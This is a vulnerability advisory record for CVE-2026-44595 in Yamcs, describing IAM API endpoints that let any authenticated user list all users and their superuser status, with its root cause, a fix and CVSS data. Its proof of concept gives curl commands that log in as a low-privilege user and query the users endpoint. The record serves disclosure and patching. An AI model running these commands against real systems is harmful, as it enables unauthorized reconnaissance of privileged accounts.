{"id":"CVE-2026-44595","aliases":["GHSA-p2rj-mrmc-9w29"],"url":"https://o3.security/vulnerability/CVE-2026-44595","summary":"Yamcs: Unauthorized user enumeration via IAM API endpoints","details":"### Summary\n\nThe IAM API endpoints (`listUsers`, `getUser`, `listGroups`, and `getGroup`) in `yamcs-core` do not enforce the required `SystemPrivilege.ControlAccess` check. As a result, **any authenticated user** (even those with low or no privileges) can enumerate all user accounts in the system, including their usernames, superuser status, and group memberships.\n\nThis constitutes a broken access control vulnerability (CWE-862) that leaks sensitive user information.\n\n### Root Cause\n\n**File:** `yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java:125,180,357,372`\n\n`listUsers()`, `getUser()`, `listGroups()`, and `getGroup()` do not require `SystemPrivilege.ControlAccess`. Any authenticated user — regardless of privileges — can enumerate all users, their superuser status, and group memberships:\n\n```java\n// listUsers — NO checkSystemPrivilege\npublic void listUsers(Context ctx, Empty request, ...) {\n    var sensitiveDetails = ctx.user.hasSystemPrivilege(SystemPrivilege.ControlAccess);\n    // sensitiveDetails=false for low-priv users, but name/superuser/active still exposed\n    for (User user : users) {\n        UserInfo userb = toUserInfo(user, sensitiveDetails, directory);\n        responseb.addUsers(userb);\n    }\n}\n```\n\nCompare with properly protected endpoints:\n\n```java\n// createUser — correctly protected\npublic void createUser(Context ctx, ...) {\n    ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // present\n```\n\n### Impact\n\nAny authenticated user can:\n\n1. List all user accounts in the system\n2. Identify which accounts have superuser privileges\n3. Use this information to target privileged accounts\n\n### Proof of Concept\n\n```bash\n# Authenticate as any low-privilege user GET access_token\ncurl -s -X POST \"http://localhost:8090/auth/token\" \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  -d \"grant_type=password&username=lowpriv&password=lowpriv123\"\n\n# Enumerate all users — no ControlAccess required\ncurl -s \"http://TARGET:8090/api/users\" \\\n  -H \"Authorization: Bearer $TOKEN\" #paste access_token\n```\n\n**Output (confirmed):**\n\n```json\n{\n  \"users\": [\n    { \"name\": \"admin\", \"superuser\": true, \"active\": true },\n    { \"name\": \"operator\", \"superuser\": true, \"active\": true },\n    { \"name\": \"lowpriv\", \"superuser\": false, \"active\": true }\n  ]\n}\n```\n\n### Fix\n\nAdd `ControlAccess` check to `listUsers`, `getUser`, `listGroups`, `getGroup`:\n\n```java\npublic void listUsers(Context ctx, Empty request, ...) {\n    ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ADD THIS\n    ...\n}\n```","published":"2026-07-16T16:02:46.293Z","modified":"2026-08-12T16:24:29.633711Z","cvss":{"score":4.3,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"},"epss":{"score":0.00984,"percentile":0.59616,"asOf":"2026-08-20"},"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"Maven","name":"org.yamcs:yamcs-core","fixedVersion":"5.12.7"}],"fix":{"url":"https://github.com/yamcs/yamcs/commit/0e12b518f103f24681299318a30a460fe4327b88","label":"yamcs/yamcs@0e12b51"},"references":[{"type":"WEB","url":"https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.7"},{"type":"WEB","url":"https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.0"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44595.json"},{"type":"ADVISORY","url":"https://github.com/yamcs/yamcs/security/advisories/GHSA-p2rj-mrmc-9w29"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44595"},{"type":"FIX","url":"https://github.com/yamcs/yamcs/commit/0e12b518f103f24681299318a30a460fe4327b88"},{"type":"FIX","url":"https://github.com/yamcs/yamcs/commit/e90099fba98e96214217c195b6a5b87b5f46e51c"},{"type":"PACKAGE","url":"https://github.com/yamcs/yamcs"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T16:24:29.633711Z"}}